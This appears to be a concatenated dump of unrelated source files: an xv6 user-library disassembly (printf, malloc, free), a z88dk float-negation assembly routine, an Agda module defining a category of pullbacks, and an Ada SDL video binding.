10bc: cd 40 int $0x40
10be: c3 ret
000010bf <uptime>:
SYSCALL(uptime)
10bf: b8 0e 00 00 00 mov $0xe,%eax
10c4: cd 40 int $0x40
10c6: c3 ret
000010c7 <history>:
SYSCALL(history)
10c7: b8 16 00 00 00 mov $0x16,%eax
10cc: cd 40 int $0x40
10ce: c3 ret
000010cf <wait2>:
SYSCALL(wait2)
10cf: b8 17 00 00 00 mov $0x17,%eax
10d4: cd 40 int $0x40
10d6: c3 ret
000010d7 <set_prio>:
SYSCALL(set_prio)
10d7: b8 18 00 00 00 mov $0x18,%eax
10dc: cd 40 int $0x40
10de: c3 ret
000010df <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
10df: 55 push %ebp
10e0: 89 e5 mov %esp,%ebp
10e2: 83 ec 18 sub $0x18,%esp
10e5: 8b 45 0c mov 0xc(%ebp),%eax
10e8: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
10eb: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
10f2: 00
10f3: 8d 45 f4 lea -0xc(%ebp),%eax
10f6: 89 44 24 04 mov %eax,0x4(%esp)
10fa: 8b 45 08 mov 0x8(%ebp),%eax
10fd: 89 04 24 mov %eax,(%esp)
1100: e8 42 ff ff ff call 1047 <write>
}
1105: c9 leave
1106: c3 ret
00001107 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
1107: 55 push %ebp
1108: 89 e5 mov %esp,%ebp
110a: 56 push %esi
110b: 53 push %ebx
110c: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
110f: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
1116: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
111a: 74 17 je 1133 <printint+0x2c>
111c: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
1120: 79 11 jns 1133 <printint+0x2c>
neg = 1;
1122: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
1129: 8b 45 0c mov 0xc(%ebp),%eax
112c: f7 d8 neg %eax
112e: 89 45 ec mov %eax,-0x14(%ebp)
1131: eb 06 jmp 1139 <printint+0x32>
} else {
x = xx;
1133: 8b 45 0c mov 0xc(%ebp),%eax
1136: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
1139: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
1140: 8b 4d f4 mov -0xc(%ebp),%ecx
1143: 8d 41 01 lea 0x1(%ecx),%eax
1146: 89 45 f4 mov %eax,-0xc(%ebp)
1149: 8b 5d 10 mov 0x10(%ebp),%ebx
114c: 8b 45 ec mov -0x14(%ebp),%eax
114f: ba 00 00 00 00 mov $0x0,%edx
1154: f7 f3 div %ebx
1156: 89 d0 mov %edx,%eax
1158: 0f b6 80 66 1b 00 00 movzbl 0x1b66(%eax),%eax
115f: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
1163: 8b 75 10 mov 0x10(%ebp),%esi
1166: 8b 45 ec mov -0x14(%ebp),%eax
1169: ba 00 00 00 00 mov $0x0,%edx
116e: f7 f6 div %esi
1170: 89 45 ec mov %eax,-0x14(%ebp)
1173: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1177: 75 c7 jne 1140 <printint+0x39>
if(neg)
1179: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
117d: 74 10 je 118f <printint+0x88>
buf[i++] = '-';
117f: 8b 45 f4 mov -0xc(%ebp),%eax
1182: 8d 50 01 lea 0x1(%eax),%edx
1185: 89 55 f4 mov %edx,-0xc(%ebp)
1188: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
118d: eb 1f jmp 11ae <printint+0xa7>
118f: eb 1d jmp 11ae <printint+0xa7>
putc(fd, buf[i]);
1191: 8d 55 dc lea -0x24(%ebp),%edx
1194: 8b 45 f4 mov -0xc(%ebp),%eax
1197: 01 d0 add %edx,%eax
1199: 0f b6 00 movzbl (%eax),%eax
119c: 0f be c0 movsbl %al,%eax
119f: 89 44 24 04 mov %eax,0x4(%esp)
11a3: 8b 45 08 mov 0x8(%ebp),%eax
11a6: 89 04 24 mov %eax,(%esp)
11a9: e8 31 ff ff ff call 10df <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
11ae: 83 6d f4 01 subl $0x1,-0xc(%ebp)
11b2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
11b6: 79 d9 jns 1191 <printint+0x8a>
putc(fd, buf[i]);
}
11b8: 83 c4 30 add $0x30,%esp
11bb: 5b pop %ebx
11bc: 5e pop %esi
11bd: 5d pop %ebp
11be: c3 ret
000011bf <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
11bf: 55 push %ebp
11c0: 89 e5 mov %esp,%ebp
11c2: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
11c5: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
11cc: 8d 45 0c lea 0xc(%ebp),%eax
11cf: 83 c0 04 add $0x4,%eax
11d2: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
11d5: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
11dc: e9 7c 01 00 00 jmp 135d <printf+0x19e>
c = fmt[i] & 0xff;
11e1: 8b 55 0c mov 0xc(%ebp),%edx
11e4: 8b 45 f0 mov -0x10(%ebp),%eax
11e7: 01 d0 add %edx,%eax
11e9: 0f b6 00 movzbl (%eax),%eax
11ec: 0f be c0 movsbl %al,%eax
11ef: 25 ff 00 00 00 and $0xff,%eax
11f4: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
11f7: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
11fb: 75 2c jne 1229 <printf+0x6a>
if(c == '%'){
11fd: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
1201: 75 0c jne 120f <printf+0x50>
state = '%';
1203: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
120a: e9 4a 01 00 00 jmp 1359 <printf+0x19a>
} else {
putc(fd, c);
120f: 8b 45 e4 mov -0x1c(%ebp),%eax
1212: 0f be c0 movsbl %al,%eax
1215: 89 44 24 04 mov %eax,0x4(%esp)
1219: 8b 45 08 mov 0x8(%ebp),%eax
121c: 89 04 24 mov %eax,(%esp)
121f: e8 bb fe ff ff call 10df <putc>
1224: e9 30 01 00 00 jmp 1359 <printf+0x19a>
}
} else if(state == '%'){
1229: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
122d: 0f 85 26 01 00 00 jne 1359 <printf+0x19a>
if(c == 'd'){
1233: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
1237: 75 2d jne 1266 <printf+0xa7>
printint(fd, *ap, 10, 1);
1239: 8b 45 e8 mov -0x18(%ebp),%eax
123c: 8b 00 mov (%eax),%eax
123e: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
1245: 00
1246: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
124d: 00
124e: 89 44 24 04 mov %eax,0x4(%esp)
1252: 8b 45 08 mov 0x8(%ebp),%eax
1255: 89 04 24 mov %eax,(%esp)
1258: e8 aa fe ff ff call 1107 <printint>
ap++;
125d: 83 45 e8 04 addl $0x4,-0x18(%ebp)
1261: e9 ec 00 00 00 jmp 1352 <printf+0x193>
} else if(c == 'x' || c == 'p'){
1266: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
126a: 74 06 je 1272 <printf+0xb3>
126c: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
1270: 75 2d jne 129f <printf+0xe0>
printint(fd, *ap, 16, 0);
1272: 8b 45 e8 mov -0x18(%ebp),%eax
1275: 8b 00 mov (%eax),%eax
1277: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
127e: 00
127f: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
1286: 00
1287: 89 44 24 04 mov %eax,0x4(%esp)
128b: 8b 45 08 mov 0x8(%ebp),%eax
128e: 89 04 24 mov %eax,(%esp)
1291: e8 71 fe ff ff call 1107 <printint>
ap++;
1296: 83 45 e8 04 addl $0x4,-0x18(%ebp)
129a: e9 b3 00 00 00 jmp 1352 <printf+0x193>
} else if(c == 's'){
129f: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
12a3: 75 45 jne 12ea <printf+0x12b>
s = (char*)*ap;
12a5: 8b 45 e8 mov -0x18(%ebp),%eax
12a8: 8b 00 mov (%eax),%eax
12aa: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
12ad: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
12b1: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
12b5: 75 09 jne 12c0 <printf+0x101>
s = "(null)";
12b7: c7 45 f4 91 16 00 00 movl $0x1691,-0xc(%ebp)
while(*s != 0){
12be: eb 1e jmp 12de <printf+0x11f>
12c0: eb 1c jmp 12de <printf+0x11f>
putc(fd, *s);
12c2: 8b 45 f4 mov -0xc(%ebp),%eax
12c5: 0f b6 00 movzbl (%eax),%eax
12c8: 0f be c0 movsbl %al,%eax
12cb: 89 44 24 04 mov %eax,0x4(%esp)
12cf: 8b 45 08 mov 0x8(%ebp),%eax
12d2: 89 04 24 mov %eax,(%esp)
12d5: e8 05 fe ff ff call 10df <putc>
s++;
12da: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
12de: 8b 45 f4 mov -0xc(%ebp),%eax
12e1: 0f b6 00 movzbl (%eax),%eax
12e4: 84 c0 test %al,%al
12e6: 75 da jne 12c2 <printf+0x103>
12e8: eb 68 jmp 1352 <printf+0x193>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
12ea: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
12ee: 75 1d jne 130d <printf+0x14e>
putc(fd, *ap);
12f0: 8b 45 e8 mov -0x18(%ebp),%eax
12f3: 8b 00 mov (%eax),%eax
12f5: 0f be c0 movsbl %al,%eax
12f8: 89 44 24 04 mov %eax,0x4(%esp)
12fc: 8b 45 08 mov 0x8(%ebp),%eax
12ff: 89 04 24 mov %eax,(%esp)
1302: e8 d8 fd ff ff call 10df <putc>
ap++;
1307: 83 45 e8 04 addl $0x4,-0x18(%ebp)
130b: eb 45 jmp 1352 <printf+0x193>
} else if(c == '%'){
130d: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
1311: 75 17 jne 132a <printf+0x16b>
putc(fd, c);
1313: 8b 45 e4 mov -0x1c(%ebp),%eax
1316: 0f be c0 movsbl %al,%eax
1319: 89 44 24 04 mov %eax,0x4(%esp)
131d: 8b 45 08 mov 0x8(%ebp),%eax
1320: 89 04 24 mov %eax,(%esp)
1323: e8 b7 fd ff ff call 10df <putc>
1328: eb 28 jmp 1352 <printf+0x193>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
132a: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
1331: 00
1332: 8b 45 08 mov 0x8(%ebp),%eax
1335: 89 04 24 mov %eax,(%esp)
1338: e8 a2 fd ff ff call 10df <putc>
putc(fd, c);
133d: 8b 45 e4 mov -0x1c(%ebp),%eax
1340: 0f be c0 movsbl %al,%eax
1343: 89 44 24 04 mov %eax,0x4(%esp)
1347: 8b 45 08 mov 0x8(%ebp),%eax
134a: 89 04 24 mov %eax,(%esp)
134d: e8 8d fd ff ff call 10df <putc>
}
state = 0;
1352: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
1359: 83 45 f0 01 addl $0x1,-0x10(%ebp)
135d: 8b 55 0c mov 0xc(%ebp),%edx
1360: 8b 45 f0 mov -0x10(%ebp),%eax
1363: 01 d0 add %edx,%eax
1365: 0f b6 00 movzbl (%eax),%eax
1368: 84 c0 test %al,%al
136a: 0f 85 71 fe ff ff jne 11e1 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
1370: c9 leave
1371: c3 ret
00001372 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
1372: 55 push %ebp
1373: 89 e5 mov %esp,%ebp
1375: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
1378: 8b 45 08 mov 0x8(%ebp),%eax
137b: 83 e8 08 sub $0x8,%eax
137e: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
1381: a1 6c 1c 00 00 mov 0x1c6c,%eax
1386: 89 45 fc mov %eax,-0x4(%ebp)
1389: eb 24 jmp 13af <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
138b: 8b 45 fc mov -0x4(%ebp),%eax
138e: 8b 00 mov (%eax),%eax
1390: 3b 45 fc cmp -0x4(%ebp),%eax
1393: 77 12 ja 13a7 <free+0x35>
1395: 8b 45 f8 mov -0x8(%ebp),%eax
1398: 3b 45 fc cmp -0x4(%ebp),%eax
139b: 77 24 ja 13c1 <free+0x4f>
139d: 8b 45 fc mov -0x4(%ebp),%eax
13a0: 8b 00 mov (%eax),%eax
13a2: 3b 45 f8 cmp -0x8(%ebp),%eax
13a5: 77 1a ja 13c1 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
13a7: 8b 45 fc mov -0x4(%ebp),%eax
13aa: 8b 00 mov (%eax),%eax
13ac: 89 45 fc mov %eax,-0x4(%ebp)
13af: 8b 45 f8 mov -0x8(%ebp),%eax
13b2: 3b 45 fc cmp -0x4(%ebp),%eax
13b5: 76 d4 jbe 138b <free+0x19>
13b7: 8b 45 fc mov -0x4(%ebp),%eax
13ba: 8b 00 mov (%eax),%eax
13bc: 3b 45 f8 cmp -0x8(%ebp),%eax
13bf: 76 ca jbe 138b <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
13c1: 8b 45 f8 mov -0x8(%ebp),%eax
13c4: 8b 40 04 mov 0x4(%eax),%eax
13c7: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
13ce: 8b 45 f8 mov -0x8(%ebp),%eax
13d1: 01 c2 add %eax,%edx
13d3: 8b 45 fc mov -0x4(%ebp),%eax
13d6: 8b 00 mov (%eax),%eax
13d8: 39 c2 cmp %eax,%edx
13da: 75 24 jne 1400 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
13dc: 8b 45 f8 mov -0x8(%ebp),%eax
13df: 8b 50 04 mov 0x4(%eax),%edx
13e2: 8b 45 fc mov -0x4(%ebp),%eax
13e5: 8b 00 mov (%eax),%eax
13e7: 8b 40 04 mov 0x4(%eax),%eax
13ea: 01 c2 add %eax,%edx
13ec: 8b 45 f8 mov -0x8(%ebp),%eax
13ef: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
13f2: 8b 45 fc mov -0x4(%ebp),%eax
13f5: 8b 00 mov (%eax),%eax
13f7: 8b 10 mov (%eax),%edx
13f9: 8b 45 f8 mov -0x8(%ebp),%eax
13fc: 89 10 mov %edx,(%eax)
13fe: eb 0a jmp 140a <free+0x98>
} else
bp->s.ptr = p->s.ptr;
1400: 8b 45 fc mov -0x4(%ebp),%eax
1403: 8b 10 mov (%eax),%edx
1405: 8b 45 f8 mov -0x8(%ebp),%eax
1408: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
140a: 8b 45 fc mov -0x4(%ebp),%eax
140d: 8b 40 04 mov 0x4(%eax),%eax
1410: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
1417: 8b 45 fc mov -0x4(%ebp),%eax
141a: 01 d0 add %edx,%eax
141c: 3b 45 f8 cmp -0x8(%ebp),%eax
141f: 75 20 jne 1441 <free+0xcf>
p->s.size += bp->s.size;
1421: 8b 45 fc mov -0x4(%ebp),%eax
1424: 8b 50 04 mov 0x4(%eax),%edx
1427: 8b 45 f8 mov -0x8(%ebp),%eax
142a: 8b 40 04 mov 0x4(%eax),%eax
142d: 01 c2 add %eax,%edx
142f: 8b 45 fc mov -0x4(%ebp),%eax
1432: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
1435: 8b 45 f8 mov -0x8(%ebp),%eax
1438: 8b 10 mov (%eax),%edx
143a: 8b 45 fc mov -0x4(%ebp),%eax
143d: 89 10 mov %edx,(%eax)
143f: eb 08 jmp 1449 <free+0xd7>
} else
p->s.ptr = bp;
1441: 8b 45 fc mov -0x4(%ebp),%eax
1444: 8b 55 f8 mov -0x8(%ebp),%edx
1447: 89 10 mov %edx,(%eax)
freep = p;
1449: 8b 45 fc mov -0x4(%ebp),%eax
144c: a3 6c 1c 00 00 mov %eax,0x1c6c
}
1451: c9 leave
1452: c3 ret
00001453 <morecore>:
static Header*
morecore(uint nu)
{
1453: 55 push %ebp
1454: 89 e5 mov %esp,%ebp
1456: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
1459: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
1460: 77 07 ja 1469 <morecore+0x16>
nu = 4096;
1462: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
1469: 8b 45 08 mov 0x8(%ebp),%eax
146c: c1 e0 03 shl $0x3,%eax
146f: 89 04 24 mov %eax,(%esp)
1472: e8 38 fc ff ff call 10af <sbrk>
1477: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
147a: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
147e: 75 07 jne 1487 <morecore+0x34>
return 0;
1480: b8 00 00 00 00 mov $0x0,%eax
1485: eb 22 jmp 14a9 <morecore+0x56>
hp = (Header*)p;
1487: 8b 45 f4 mov -0xc(%ebp),%eax
148a: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
148d: 8b 45 f0 mov -0x10(%ebp),%eax
1490: 8b 55 08 mov 0x8(%ebp),%edx
1493: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
1496: 8b 45 f0 mov -0x10(%ebp),%eax
1499: 83 c0 08 add $0x8,%eax
149c: 89 04 24 mov %eax,(%esp)
149f: e8 ce fe ff ff call 1372 <free>
return freep;
14a4: a1 6c 1c 00 00 mov 0x1c6c,%eax
}
14a9: c9 leave
14aa: c3 ret
000014ab <malloc>:
void*
malloc(uint nbytes)
{
14ab: 55 push %ebp
14ac: 89 e5 mov %esp,%ebp
14ae: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
14b1: 8b 45 08 mov 0x8(%ebp),%eax
14b4: 83 c0 07 add $0x7,%eax
14b7: c1 e8 03 shr $0x3,%eax
14ba: 83 c0 01 add $0x1,%eax
14bd: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
14c0: a1 6c 1c 00 00 mov 0x1c6c,%eax
14c5: 89 45 f0 mov %eax,-0x10(%ebp)
14c8: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
14cc: 75 23 jne 14f1 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
14ce: c7 45 f0 64 1c 00 00 movl $0x1c64,-0x10(%ebp)
14d5: 8b 45 f0 mov -0x10(%ebp),%eax
14d8: a3 6c 1c 00 00 mov %eax,0x1c6c
14dd: a1 6c 1c 00 00 mov 0x1c6c,%eax
14e2: a3 64 1c 00 00 mov %eax,0x1c64
base.s.size = 0;
14e7: c7 05 68 1c 00 00 00 movl $0x0,0x1c68
14ee: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
14f1: 8b 45 f0 mov -0x10(%ebp),%eax
14f4: 8b 00 mov (%eax),%eax
14f6: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
14f9: 8b 45 f4 mov -0xc(%ebp),%eax
14fc: 8b 40 04 mov 0x4(%eax),%eax
14ff: 3b 45 ec cmp -0x14(%ebp),%eax
1502: 72 4d jb 1551 <malloc+0xa6>
if(p->s.size == nunits)
1504: 8b 45 f4 mov -0xc(%ebp),%eax
1507: 8b 40 04 mov 0x4(%eax),%eax
150a: 3b 45 ec cmp -0x14(%ebp),%eax
150d: 75 0c jne 151b <malloc+0x70>
prevp->s.ptr = p->s.ptr;
150f: 8b 45 f4 mov -0xc(%ebp),%eax
1512: 8b 10 mov (%eax),%edx
1514: 8b 45 f0 mov -0x10(%ebp),%eax
1517: 89 10 mov %edx,(%eax)
1519: eb 26 jmp 1541 <malloc+0x96>
else {
p->s.size -= nunits;
151b: 8b 45 f4 mov -0xc(%ebp),%eax
151e: 8b 40 04 mov 0x4(%eax),%eax
1521: 2b 45 ec sub -0x14(%ebp),%eax
1524: 89 c2 mov %eax,%edx
1526: 8b 45 f4 mov -0xc(%ebp),%eax
1529: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
152c: 8b 45 f4 mov -0xc(%ebp),%eax
152f: 8b 40 04 mov 0x4(%eax),%eax
1532: c1 e0 03 shl $0x3,%eax
1535: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
1538: 8b 45 f4 mov -0xc(%ebp),%eax
153b: 8b 55 ec mov -0x14(%ebp),%edx
153e: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
1541: 8b 45 f0 mov -0x10(%ebp),%eax
1544: a3 6c 1c 00 00 mov %eax,0x1c6c
return (void*)(p + 1);
1549: 8b 45 f4 mov -0xc(%ebp),%eax
154c: 83 c0 08 add $0x8,%eax
154f: eb 38 jmp 1589 <malloc+0xde>
}
if(p == freep)
1551: a1 6c 1c 00 00 mov 0x1c6c,%eax
1556: 39 45 f4 cmp %eax,-0xc(%ebp)
1559: 75 1b jne 1576 <malloc+0xcb>
if((p = morecore(nunits)) == 0)
155b: 8b 45 ec mov -0x14(%ebp),%eax
155e: 89 04 24 mov %eax,(%esp)
1561: e8 ed fe ff ff call 1453 <morecore>
1566: 89 45 f4 mov %eax,-0xc(%ebp)
1569: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
156d: 75 07 jne 1576 <malloc+0xcb>
return 0;
156f: b8 00 00 00 00 mov $0x0,%eax
1574: eb 13 jmp 1589 <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
1576: 8b 45 f4 mov -0xc(%ebp),%eax
1579: 89 45 f0 mov %eax,-0x10(%ebp)
157c: 8b 45 f4 mov -0xc(%ebp),%eax
157f: 8b 00 mov (%eax),%eax
1581: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
1584: e9 70 ff ff ff jmp 14f9 <malloc+0x4e>
}
1589: c9 leave
158a: c3 ret
|
libsrc/_DEVELOPMENT/math/float/am9511/c/sccz80/cam32_sccz80_neg.asm | dikdom/z88dk | 1 | 81714 |
SECTION code_fp_am9511
PUBLIC cam32_sccz80_neg
EXTERN asm_sccz80_read1, asm_am9511_neg
; negate sccz80 floats
;
; enter : stack = sccz80_float number, ret
;
; exit : DEHL = sccz80_float(-number)
;
; uses : af, bc, de, hl
.cam32_sccz80_neg
call asm_sccz80_read1
jp asm_am9511_neg
|
src/Categories/Category/Construction/Pullbacks.agda | MirceaS/agda-categories | 0 | 6942 | <reponame>MirceaS/agda-categories<filename>src/Categories/Category/Construction/Pullbacks.agda
{-# OPTIONS --without-K --safe #-}
open import Categories.Category
module Categories.Category.Construction.Pullbacks {o ℓ e} (C : Category o ℓ e) where
open import Level using (_⊔_)
open import Function using (_$_)
open import Data.Product using (_×_; _,_)
open import Categories.Diagram.Pullback C
open import Categories.Morphism.Reasoning C
open Category C
record PullbackObj W : Set (o ⊔ ℓ ⊔ e) where
field
{A} {B} : Obj
arr₁ : A ⇒ W
arr₂ : B ⇒ W
pullback : Pullback arr₁ arr₂
module pullback = Pullback pullback
open HomReasoning
record Pullback⇒ W (X Y : PullbackObj W) : Set (o ⊔ ℓ ⊔ e) where
module X = PullbackObj X
module Y = PullbackObj Y
field
mor₁ : X.A ⇒ Y.A
mor₂ : X.B ⇒ Y.B
commute₁ : Y.arr₁ ∘ mor₁ ≈ X.arr₁
commute₂ : Y.arr₂ ∘ mor₂ ≈ X.arr₂
pbarr : X.pullback.P ⇒ Y.pullback.P
pbarr = Y.pullback.universal $ begin
Y.arr₁ ∘ mor₁ ∘ X.pullback.p₁ ≈⟨ pullˡ commute₁ ⟩
X.arr₁ ∘ X.pullback.p₁ ≈⟨ X.pullback.commute ⟩
X.arr₂ ∘ X.pullback.p₂ ≈˘⟨ pullˡ commute₂ ⟩
Y.arr₂ ∘ mor₂ ∘ X.pullback.p₂ ∎
open Pullback⇒
Pullbacks : Obj → Category (o ⊔ ℓ ⊔ e) (o ⊔ ℓ ⊔ e) e
Pullbacks W = record
{ Obj = PullbackObj W
; _⇒_ = Pullback⇒ W
; _≈_ = λ f g → mor₁ f ≈ mor₁ g × mor₂ f ≈ mor₂ g
; id = record
{ mor₁ = id
; mor₂ = id
; commute₁ = identityʳ
; commute₂ = identityʳ
}
; _∘_ = λ f g → record
{ mor₁ = mor₁ f ∘ mor₁ g
; mor₂ = mor₂ f ∘ mor₂ g
; commute₁ = pullˡ (commute₁ f) ○ commute₁ g
; commute₂ = pullˡ (commute₂ f) ○ commute₂ g
}
; assoc = assoc , assoc
; sym-assoc = sym-assoc , sym-assoc
; identityˡ = identityˡ , identityˡ
; identityʳ = identityʳ , identityʳ
; identity² = identity² , identity²
; equiv = record
{ refl = refl , refl
; sym = λ { (eq₁ , eq₂) → sym eq₁ , sym eq₂ }
; trans = λ { (eq₁ , eq₂) (eq₃ , eq₄) → trans eq₁ eq₃ , trans eq₂ eq₄ }
}
; ∘-resp-≈ = λ { (eq₁ , eq₂) (eq₃ , eq₄) → ∘-resp-≈ eq₁ eq₃ , ∘-resp-≈ eq₂ eq₄ }
}
|
src/sdl-video.adb | rveenker/sdlada | 1 | 486 | <reponame>rveenker/sdlada
--------------------------------------------------------------------------------------------------------------------
-- Copyright (c) 2013-2020, <NAME>
--
-- This software is provided 'as-is', without any express or implied
-- warranty. In no event will the authors be held liable for any damages
-- arising from the use of this software.
--
-- Permission is granted to anyone to use this software for any purpose,
-- including commercial applications, and to alter it and redistribute it
-- freely, subject to the following restrictions:
--
-- 1. The origin of this software must not be misrepresented; you must not
-- claim that you wrote the original software. If you use this software
-- in a product, an acknowledgment in the product documentation would be
-- appreciated but is not required.
--
-- 2. Altered source versions must be plainly marked as such, and must not be
-- misrepresented as being the original software.
--
-- 3. This notice may not be removed or altered from any source
-- distribution.
--------------------------------------------------------------------------------------------------------------------
with Interfaces.C;
with Interfaces.C.Strings;
with SDL.Error;
package body SDL.Video is
use type C.int;
function Is_Screen_Saver_Enabled return Boolean is
function SDL_Is_Screen_Saver_Enabled return C.int with
Import => True,
Convention => C,
External_Name => "SDL_IsScreenSaverEnabled";
begin
return (if SDL_Is_Screen_Saver_Enabled = 1 then True else False);
end Is_Screen_Saver_Enabled;
function Initialise (Name : in String) return Boolean is
function SDL_Video_Init (C_Name : in C.Strings.chars_ptr) return C.int with
Import => True,
Convention => C,
External_Name => "SDL_VideoInit";
C_Str : C.Strings.chars_ptr := C.Strings.Null_Ptr;
Result : C.int;
begin
if Name /= "" then
C_Str := C.Strings.New_String (Name);
Result := SDL_Video_Init (C_Name => C_Str);
C.Strings.Free (C_Str);
else
Result := SDL_Video_Init (C_Name => C.Strings.Null_Ptr);
end if;
return (Result = Success);
end Initialise;
function Total_Drivers return Positive is
function SDL_Get_Num_Video_Drivers return C.int with
Import => True,
Convention => C,
External_Name => "SDL_GetNumVideoDrivers";
Num : constant C.int := SDL_Get_Num_Video_Drivers;
begin
if Num < 0 then
raise Video_Error with SDL.Error.Get;
end if;
return Positive (Num);
end Total_Drivers;
function Driver_Name (Index : in Positive) return String is
function SDL_Get_Video_Driver (I : in C.int) return C.Strings.chars_ptr with
Import => True,
Convention => C,
External_Name => "SDL_GetVideoDriver";
-- Index is zero based, so need to subtract 1 to correct it.
C_Str : C.Strings.chars_ptr := SDL_Get_Video_Driver (C.int (Index) - 1);
begin
return C.Strings.Value (C_Str);
end Driver_Name;
function Current_Driver_Name return String is
function SDL_Get_Current_Video_Driver return C.Strings.chars_ptr with
Import => True,
Convention => C,
External_Name => "SDL_GetCurrentVideoDriver";
C_Str : constant C.Strings.chars_ptr := SDL_Get_Current_Video_Driver;
use type C.Strings.chars_ptr;
begin
if C_Str = C.Strings.Null_Ptr then
raise Video_Error with SDL.Error.Get;
end if;
return C.Strings.Value (C_Str);
end Current_Driver_Name;
function Total_Displays return Positive is
function SDL_Get_Num_Video_Displays return C.int with
Import => True,
Convention => C,
External_Name => "SDL_GetNumVideoDisplays";
Num : constant C.int := SDL_Get_Num_Video_Displays;
begin
if Num <= 0 then
raise Video_Error with SDL.Error.Get;
end if;
return Positive (Num);
end Total_Displays;
